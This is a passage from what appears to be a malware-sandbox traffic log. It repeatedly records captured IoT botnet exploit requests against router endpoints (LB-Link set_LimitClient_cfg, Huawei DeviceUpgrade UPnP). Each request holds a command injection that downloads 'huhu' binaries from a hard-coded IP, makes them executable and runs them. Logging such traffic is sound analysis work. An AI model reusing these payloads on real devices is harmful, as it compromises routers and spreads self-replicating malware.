xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.85/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.174.73.85 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 470Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 38 35 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 